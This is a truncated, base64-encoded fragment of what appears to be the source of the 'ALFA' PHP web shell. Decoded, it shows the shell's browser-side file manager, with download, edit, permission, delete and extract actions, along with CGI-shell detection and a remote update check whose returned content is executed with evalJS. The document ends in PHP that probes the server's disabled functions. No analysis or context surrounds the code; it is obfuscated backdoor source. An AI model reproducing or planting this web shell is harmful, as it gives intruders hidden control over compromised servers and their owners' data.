oIi4uIj09KGE9IkEiPT1lLnRhcmdldC5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxhbGZhU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZpZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHMub25jbGljaz1mdW5jdGlvbigpe2FsZmFGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cmltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgsXz1lLmNsaWVudFk7YWxmYVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9YWxmYUdldExhc3RGb2xkZXJOYW1lKGUpKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldEF0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iYWxmYUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2xhc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGFsZmFfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksYWxmYV9mbV9pZD0wfWZ1bmN0aW9uIGFsZmFGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJweCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGFsZmFQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3IGZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6IixpPSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHRoZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbiI9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlcm0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZmlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2VkPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9ITApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUmJihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkO2FsZmFsb2FkZXIobywiYmxvY2siKSxkYXRhPSJhPSIrYWxmYWI2NChlKSsiJmM9IithbGZhYjY0KHQpKyImYWxmYTE9IithbGZhYjY0KGEpKyImYWxmYTI9IithbGZhYjY0KGkpKyImYWxmYTM9IithbGZhYjY0KGwpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLHIsITEsbyl9ZnVuY3Rpb24gYWxmYVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKCksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoInBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJhbmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2FsZmFsb2FkZXIoaSwibm9uZSIpfSk7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQWN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlubmVySFRNTD1jLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBhbGZhU2hvd05vdGlmaWNhdGlvbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTthbGZhbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBhbGZhSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246MzAwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJjaChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJhbGZhLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlyaWdodCksdC5oYXNPd25Qcm9wZXJ0eSgic29sZXZpc2libGUiKSYmKCQoImFsZmFfc29sZXZpc2libGUiKS5pbm5lckhUTUw9dC5zb2xldmlzaWJsZSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5hbGZhX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNyIpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25sb2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWRlcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja2NnaSIpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9ZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmFsZmFDaGVja1VybEhhc2goKX0sYWxmYUNoZWNrVXJsSGFzaCgpLGFsZmFnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGFsZmFJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sITEpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVnaW4iLGUub25sb2FkPWZ1bmN0aW9uKCl7YWxmYUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGFsZmFJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpI